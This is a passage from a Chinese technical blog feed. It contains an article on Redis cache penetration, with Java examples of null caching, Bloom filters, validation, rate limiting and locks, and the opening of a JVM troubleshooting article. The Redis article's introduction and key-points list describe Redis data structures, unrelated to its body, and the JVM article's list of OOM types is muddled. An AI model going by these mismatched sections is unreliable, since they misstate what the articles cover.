        <content type="html"><![CDATA[<h1 id="Redis缓存穿透与解决方案"><a href="#Redis缓存穿透与解决方案" class="headerlink" title="Redis缓存穿透与解决方案"></a>Redis缓存穿透与解决方案</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、什么是缓存穿透"><a href="#一、什么是缓存穿透" class="headerlink" title="一、什么是缓存穿透"></a>一、什么是缓存穿透</h2><p>#</p><h2 id="1-1-穿透场景"><a href="#1-1-穿透场景" class="headerlink" title="1.1 穿透场景"></a>1.1 穿透场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">正常查询：</span><br><span class="line">客户端 → 查询缓存（命中）→ 返回数据</span><br><span class="line"></span><br><span class="line">缓存未命中：</span><br><span class="line">客户端 → 查询缓存（未命中）→ 查询数据库（命中）→ 写入缓存 → 返回数据</span><br><span class="line"></span><br><span class="line">缓存穿透：</span><br><span class="line">客户端 → 查询缓存（未命中，数据不存在）→ 查询数据库（未命中）→ 返回空</span><br><span class="line">                                                    │</span><br><span class="line">                                                    └── 每次请求都查数据库！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-产生原因"><a href="#1-2-产生原因" class="headerlink" title="1.2 产生原因"></a>1.2 产生原因</h2><ol><li><strong>恶意攻击</strong>：构造大量不存在的key进行查询</li><li><strong>业务误用</strong>：查询已被删除的数据</li><li><strong>数据未初始化</strong>：新数据还未写入缓存和数据库</li><li><strong>参数错误</strong>：传入非法参数查询</li></ol><p>#</p><h2 id="1-3-危害"><a href="#1-3-危害" class="headerlink" title="1.3 危害"></a>1.3 危害</h2><ul><li>数据库压力剧增</li><li>可能导致数据库宕机</li><li>缓存失去保护作用</li><li>影响正常用户访问</li></ul><h2 id="二、解决方案"><a href="#二、解决方案" class="headerlink" title="二、解决方案"></a>二、解决方案</h2><p>#</p><h2 id="2-1-方案一：缓存空值"><a href="#2-1-方案一：缓存空值" class="headerlink" title="2.1 方案一：缓存空值"></a>2.1 方案一：缓存空值</h2><p><strong>原理</strong>：查询数据库未命中后，将空值也缓存起来</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">USER_KEY</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">CACHE_NULL_TTL</span> <span class="operator">=</span> <span class="number">60</span>; <span class="comment">// 空值缓存60秒</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">NULL_VALUE</span> <span class="operator">=</span> <span class="string">&quot;null&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> USER_KEY + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 缓存命中（包括空值）</span></span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (NULL_VALUE.equals(json)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 之前查询过，数据库不存在</span></span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 缓存未命中，查数据库</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(id);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 数据库不存在，缓存空值（短过期时间）</span></span><br><span class="line">            redis.opsForValue().set(key, NULL_VALUE, CACHE_NULL_TTL, TimeUnit.SECONDS);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 数据库存在，缓存数据</span></span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>实现简单</li><li>效果显著</li></ul><p><strong>缺点</strong>：</p><ul><li>缓存大量空值占用空间</li><li>如果攻击者构造大量不同的key，缓存空间可能被撑满</li><li>数据真实存在后，需要等待空值过期才能正确获取</li></ul><p>#</p><h2 id="2-2-方案二：布隆过滤器"><a href="#2-2-方案二：布隆过滤器" class="headerlink" title="2.2 方案二：布隆过滤器"></a>2.2 方案二：布隆过滤器</h2><p><strong>原理</strong>：在查询缓存之前，先用布隆过滤器判断key是否可能存在</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BloomFilterConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RBloomFilter&lt;String&gt; <span class="title function_">userBloomFilter</span><span class="params">(RedissonClient redisson)</span> &#123;</span><br><span class="line">        RBloomFilter&lt;String&gt; bloomFilter = redisson.getBloomFilter(<span class="string">&quot;userBloomFilter&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 初始化：预期插入100万个元素，误判率0.01</span></span><br><span class="line">        bloomFilter.tryInit(<span class="number">1000000L</span>, <span class="number">0.01</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> bloomFilter;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; userBloomFilter;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 数据初始化时添加到布隆过滤器</span></span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">initBloomFilter</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;Long&gt; userIds = userMapper.findAllIds();</span><br><span class="line">        <span class="keyword">for</span> (Long id : userIds) &#123;</span><br><span class="line">            userBloomFilter.add(<span class="string">&quot;user:&quot;</span> + id);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 布隆过滤器判断</span></span><br><span class="line">        <span class="keyword">if</span> (!userBloomFilter.contains(key)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 一定不存在，直接返回</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 查询缓存</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 查询数据库</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 新增用户时添加到布隆过滤器</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        userMapper.insert(user);</span><br><span class="line">        userBloomFilter.add(<span class="string">&quot;user:&quot;</span> + user.getId());</span><br><span class="line">        redis.opsForValue().set(<span class="string">&quot;user:&quot;</span> + user.getId(), </span><br><span class="line">            JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>不占用大量缓存空间</li><li>能防御大量随机key攻击</li></ul><p><strong>缺点</strong>：</p><ul><li>有一定误判率（可能将不存在的判断为存在）</li><li>不支持删除元素（或需要特殊实现如Counting Bloom Filter）</li><li>需要初始化时加载所有数据</li></ul><p>#</p><h2 id="2-3-方案三：参数校验"><a href="#2-3-方案三：参数校验" class="headerlink" title="2.3 方案三：参数校验"></a>2.3 方案三：参数校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/user/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 参数校验</span></span><br><span class="line">        <span class="keyword">if</span> (id == <span class="literal">null</span> || id &lt;= <span class="number">0</span> || id &gt; <span class="number">999999999L</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Invalid user id&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> userService.getUser(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>最简单直接</li><li>能拦截明显的非法请求</li></ul><p><strong>缺点</strong>：</p><ul><li>只能拦截部分场景</li><li>不能防御合法范围内的攻击</li></ul><p>#</p><h2 id="2-4-方案四：限流"><a href="#2-4-方案四：限流" class="headerlink" title="2.4 方案四：限流"></a>2.4 方案四：限流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CachePenetrationLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 基于Sliding Window限流</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> maxRequests, <span class="type">int</span> windowSeconds)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">limitKey</span> <span class="operator">=</span> <span class="string">&quot;limit:&quot;</span> + key;</span><br><span class="line">        <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">long</span> <span class="variable">windowStart</span> <span class="operator">=</span> now - windowSeconds * <span class="number">1000</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 移除窗口外的记录</span></span><br><span class="line">        redis.opsForZSet().removeRangeByScore(limitKey, <span class="number">0</span>, windowStart);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取当前请求数</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redis.opsForZSet().zCard(limitKey);</span><br><span class="line">        <span class="keyword">if</span> (count != <span class="literal">null</span> &amp;&amp; count &gt;= maxRequests) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 记录本次请求</span></span><br><span class="line">        redis.opsForZSet().add(limitKey, String.valueOf(now), now);</span><br><span class="line">        redis.expire(limitKey, windowSeconds + <span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CachePenetrationLimiter limiter;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 对同一key限流</span></span><br><span class="line">        <span class="keyword">if</span> (!limiter.isAllowed(<span class="string">&quot;user:&quot;</span> + id, <span class="number">100</span>, <span class="number">60</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RateLimitException</span>(<span class="string">&quot;请求过于频繁&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// ... 查询逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-方案五：互斥锁（防并发查询）"><a href="#2-5-方案五：互斥锁（防并发查询）" class="headerlink" title="2.5 方案五：互斥锁（防并发查询）"></a>2.5 方案五：互斥锁（防并发查询）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取分布式锁，防止并发查数据库</span></span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:user:&quot;</span> + id);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!lock.tryLock(<span class="number">3</span>, <span class="number">10</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">                <span class="comment">// 获取锁失败，等待后重试</span></span><br><span class="line">                Thread.sleep(<span class="number">100</span>);</span><br><span class="line">                <span class="keyword">return</span> getUser(id);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 双重检查</span></span><br><span class="line">            json = redis.opsForValue().get(key);</span><br><span class="line">            <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 查询数据库</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                redis.opsForValue().set(key, <span class="string">&quot;null&quot;</span>, <span class="number">60</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                redis.opsForValue().set(key, JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> user;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、方案对比"><a href="#三、方案对比" class="headerlink" title="三、方案对比"></a>三、方案对比</h2><table><thead><tr><th>方案</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td>缓存空值</td><td>简单有效</td><td>占用空间</td><td>数据量可控</td></tr><tr><td>布隆过滤器</td><td>节省空间</td><td>有误判率</td><td>大数据量，初始化已知</td></tr><tr><td>参数校验</td><td>最简单</td><td>能力有限</td><td>参数范围可控</td></tr><tr><td>限流</td><td>保护系统</td><td>影响正常请求</td><td>高并发防御</td></tr><tr><td>互斥锁</td><td>防并发穿透</td><td>复杂度增加</td><td>热点key</td></tr></tbody></table><h2 id="四、最佳实践"><a href="#四、最佳实践" class="headerlink" title="四、最佳实践"></a>四、最佳实践</h2><p>#</p><h2 id="4-1-组合方案"><a href="#4-1-组合方案" class="headerlink" title="4.1 组合方案"></a>4.1 组合方案</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RBloomFilter&lt;String&gt; bloomFilter;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 参数校验</span></span><br><span class="line">        <span class="keyword">if</span> (id == <span class="literal">null</span> || id &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 布隆过滤器判断</span></span><br><span class="line">        <span class="keyword">if</span> (!bloomFilter.contains(key)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 查询缓存</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="string">&quot;null&quot;</span>.equals(json)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, User.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 分布式锁防并发</span></span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:&quot;</span> + key);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (lock.tryLock(<span class="number">3</span>, <span class="number">10</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">                <span class="comment">// 双重检查</span></span><br><span class="line">                json = redis.opsForValue().get(key);</span><br><span class="line">                <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="string">&quot;null&quot;</span>.equals(json) ? <span class="literal">null</span> : JSON.parseObject(json, User.class);</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 5. 查询数据库</span></span><br><span class="line">                <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(id);</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 6. 缓存结果（空值也缓存）</span></span><br><span class="line">                <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                    redis.opsForValue().set(key, <span class="string">&quot;null&quot;</span>, <span class="number">60</span>, TimeUnit.SECONDS);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    redis.opsForValue().set(key, JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">return</span> user;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-空值缓存的过期策略"><a href="#4-2-空值缓存的过期策略" class="headerlink" title="4.2 空值缓存的过期策略"></a>4.2 空值缓存的过期策略</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 根据业务调整空值过期时间</span></span><br><span class="line"><span class="comment">// - 高频查询但不存在的：短过期时间（10-60秒）</span></span><br><span class="line"><span class="comment">// - 低频查询的：较长过期时间（5-30分钟）</span></span><br><span class="line"><span class="comment">// - 数据可能很快写入的：极短过期时间（1-5秒）</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">CACHE_NULL_TTL_SHORT</span> <span class="operator">=</span> <span class="number">10</span>;   <span class="comment">// 10秒</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">CACHE_NULL_TTL_NORMAL</span> <span class="operator">=</span> <span class="number">60</span>;  <span class="comment">// 60秒</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">CACHE_NULL_TTL_LONG</span> <span class="operator">=</span> <span class="number">300</span>;   <span class="comment">// 5分钟</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">        <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 根据业务判断使用哪个过期时间</span></span><br><span class="line">            redis.opsForValue().set(key, <span class="string">&quot;null&quot;</span>, CACHE_NULL_TTL_NORMAL, TimeUnit.SECONDS);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>缓存穿透的防御策略：</p><ol><li><strong>参数校验</strong>：第一道防线，拦截明显非法请求</li><li><strong>布隆过滤器</strong>：高效判断key是否存在，节省空间</li><li><strong>缓存空值</strong>：将不存在的查询结果也缓存</li><li><strong>限流</strong>：防止单个key或IP的过度请求</li><li><strong>互斥锁</strong>：防止并发查询同一不存在key</li></ol><p>核心原则：</p><ul><li>在请求到达数据库之前尽可能拦截</li><li>使用组合方案增强防御能力</li><li>根据业务特点选择合适的策略</li><li>持续监控缓存命中率和数据库负载</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 